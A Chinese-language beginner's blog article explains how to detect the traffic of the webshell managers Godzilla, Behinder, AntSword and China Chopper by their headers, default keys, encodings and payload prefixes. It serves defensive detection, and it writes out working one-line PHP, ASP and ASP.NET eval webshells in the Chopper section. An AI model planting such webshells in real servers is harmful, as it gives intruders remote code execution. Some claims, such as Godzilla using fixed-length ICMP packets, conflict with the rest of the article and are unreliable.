网络安全攻防中，不同的攻击工具各有其独特的流量特征。本文将深入浅出地介绍哥斯拉、冰蝎和蚁剑的流量特征，并详细分析菜刀的流量特征，帮助基础小白更好地理解这些工具在网络流量中的表现。

哥斯拉流量特征

User-Agent 特征（弱特征）

默认情况下，哥斯拉客户端使用 Java 语言 编写，如果不修改 User-Agent，User-Agent 会显示类似于 Java/1.8.0_121​（具体版本取决于 JDK 环境版本）。不过，哥斯拉支持自定义 HTTP 头部，可以很容易去除这一特征。

Accept 特征（弱特征）

默认的 Accept 头部 为 text/html, image/gif, image/jpeg, *; q=.2, /; q=.2​。这一特征同样可以通过自定义头部去除。

Cookie 特征（强特征）

哥斯拉请求包的 Cookie 中有一个致命的特征：末尾带有分号 ;​。标准的 HTTP 请求 中最后一个 Cookie 的值不应该包含分号，这一特征可以作为辅助识别哥斯拉流量的重要标志。

请求体特征（较强特征）

哥斯拉支持对加密的数据进行 Base64 编码 和原始加密（raw）两种形式的通信数据。对于 Base64 编码 的数据包，可以通过识别流量中的 Base64 编码特征进行检测。

另外，哥斯拉在进行初始化时会产生一个 比较大的数据包，后面进行命令执行等操作时产生的 Base64 数据包 会相对较小。通过数据包长度进行匹配在一定程度上也可以降低误报率。

响应体特征（强特征）

如果请求体采用 Base64 编码，响应体返回的也是 Base64 编码的数据。响应体的特征为：一个 32 位的 MD5 字符串 按照一半拆分，分别放在 Base64 编码 的数据的前后两部分。整个响应包的结构体征为：md5前十六位 + base64 + md5后十六位​。

需要注意的是，在匹配这些特征时，还需要考虑到不同版本的哥斯拉可能会有不同的特征表现。例如，在一些版本中，响应体的数据可能还会有其他混淆方式。

补充

哥斯拉使用的是 ICMP 协议数据报文，而 ICMP 流量本身就不高，所以较难在大流量中检测。ICMP 数据报文的载荷部分 Length 值固定为 92 字节，这是它的重要特征。

Payload 特征

在默认脚本编码的情况下，JSP 会出现 ​xc​​、​pass​​ 字符和 Java 反射（ClassLoader​，getClass().getClassLoader()​），Base64 加解码等特征。而 PHP 和 ASP 则为普通的一句话木马，数据报文的 Payload 内容以 "godzilla" 开头，这也是检测的特征标志。

冰蝎流量特征

冰蝎 2.0

使用 AES 加密 + Base64 编码，AES 使用动态密钥对通信进行加密。请求时内置了十几个 User-Agent 头，每次请求时会随机选择其中的一个。因此，当发现一个 IP 的请求头中的 User-Agent 在频繁变换，就可能是冰蝎。

冰蝎 3.0

冰蝎 3.0 取消了 2.0 的动态获取密钥，使用 固定的连接密钥。AES 加密的密钥为 webshell 连接密码的 MD5 的前 16 位，默认连接密码是 rebeyond​。请求时内置了十几个 User-Agent 头，每次请求时会随机选择其中的一个。3.0 连接 JSP 的 webshell 的请求数据包中的 Content-Type 字段常见为 application/octet-stream​。

冰蝎 4.0

提供了传输协议自定义功能，让用户对流量的加密和解密进行自定义，实现流量加解密协议的去中心化。v4.0 版本 不再有连接密码的概念，自定义传输协议的算法就是连接密码。与冰蝎的前述版本相似，进行请求时内置了十几个 User-Agent 头，每次请求时会随机选择其中的一个。

冰蝎 5.0

冰蝎 5.0 引入了更多的加密方式，包括 XOR、XOR_Base64、AES、JSON 和 Image 等五种加密方式，并且每种加密方式都支持自定义加解密代码。这使得冰蝎的流量特征更加复杂和多样化，检测难度也更大。

固定请求头和响应头

冰蝎的固定请求头特征为：​dFAXQV1LORcHRQtLRlwMAhwFTAg/M​​，固定的响应头特征为：​TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd​​。

长连接特征

冰蝎通讯默认使用长连接，默认情况下，请求头和响应头里会带有 ​Connection: Keep-Alive​​，这可以作为辅助流量特征。

GET 请求特征

在每一次连接时都能看到一个 GET 请求 ?pass=[XXX]​ 的数据（XXX 均为数字），且均会产生一个 16 位的随机数密钥（第二个为密钥）。Content-Length 通常为 16。

请求体特征

JSP 类型 的 webshell，POST 请求体数据均为 Base64 编码，Content-Type 为 application/octet-stream​，响应体数据均为二进制文件。执行 JSP webshell，一般较短的命令 Content-Length 都是 9068。

Pragma 和 Cache-Control

请求头中有 Pragma: no-cache，Cache-Control: no-cache。这些头部字段可以作为进一步识别冰蝎流量的特征。

蚁剑流量特征

静态特征

蚁剑中 PHP 使用 ​assert​​、​eval​​ 执行；ASP 只有 ​eval​​ 执行；在 JSP 中使用的是 Java 类加载（ClassLoader​），同时会带有 Base64 编码解码 等字符特征。

动态特征

我们使用一句话木马上传 webshell，抓包后会发现每个请求体都存在以 ​@ini_set("display_errors","0");@set_time_limit(0)​ ​ 开头。并且响应体的返回结果是 Base64 编码发混淆字符，格式为：随机数 + 结果 + 随机数。

参数特征

蚁剑混淆加密后还有一个比较明显的特征，即参数名大多以 ​_0x.....=​ ​ 这种形式（下划线可替换为其他）。以 ​_0x​​ 开头的参数名，后面为加密数据的数据包也可识别为蚁剑的流量特征。

User-Agent 特征

默认的 USER-Agent 请求头是 ​antsword xxx​​，但是可以通过修改 ​/modules/request.js​​ 文件中的请求 UA 绕过这一特征。

最明显的特征

蚁剑的一个显著特征是在请求体中包含 ​@ini_set("display_errors","0");​ ​ 这段代码，这段代码基本是所有 webshell 客户端 链接 PHP 类 webshell 都有的一种代码。

菜刀流量特征

静态特征

菜刀使用的webshell为一句话木马，特征十分明显。常见一句话(Eval)：

• PHP: <?php @eval($_POST['caidao']);?>​
• ASP: <%eval request("caidao")%>​
• ASP.NET: <%@ Page Language="Jscript"%><%eval(Request.Item["caidao"],"unsafe");%>​

动态特征

请求包中：

• UA 头 为百度爬虫或火狐
• 请求体 中存在 eval​，base64​ 等特征字符
• 请求体 中传递的 payload 为 Base64 编码，并且存在固定的 QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J​
• 请求体 中执行结果响应为明文，格式为 X@Y 结果 X@Y​ 之中

Payload 特征

菜刀的 payload 特征主要表现在：

• PHP: <?php @eval($_POST['caidao']);?>​
• ASP: <%eval request(“caidao”)%>​
• ASP.NET: <%@ Page Language=“Jscript”%><%eval(Request.Item[“caidao”],“unsafe”);%>​

结论

通过对哥斯拉、冰蝎、蚁剑和菜刀的流量特征进行分析，可以帮助基础小白更好地理解这些工具在网络流量中的表现，从而提高检测和防御能力。在实际操作中，通过识别这些特征，可以有效发现并阻止恶意行为，保护网络安全。

在网络安全的攻防过程中，掌握这些工具的流量特征是至关重要的。虽然攻击者可能会不断改进工具以规避检测，但通过不断更新和完善检测规则，我们依然可以在防御中占据主动地位。

希望这篇文章能帮助你更好地理解哥斯拉、冰蝎、蚁剑和菜刀的流量特征。如果你有任何问题或需要进一步的解释，请随时留言。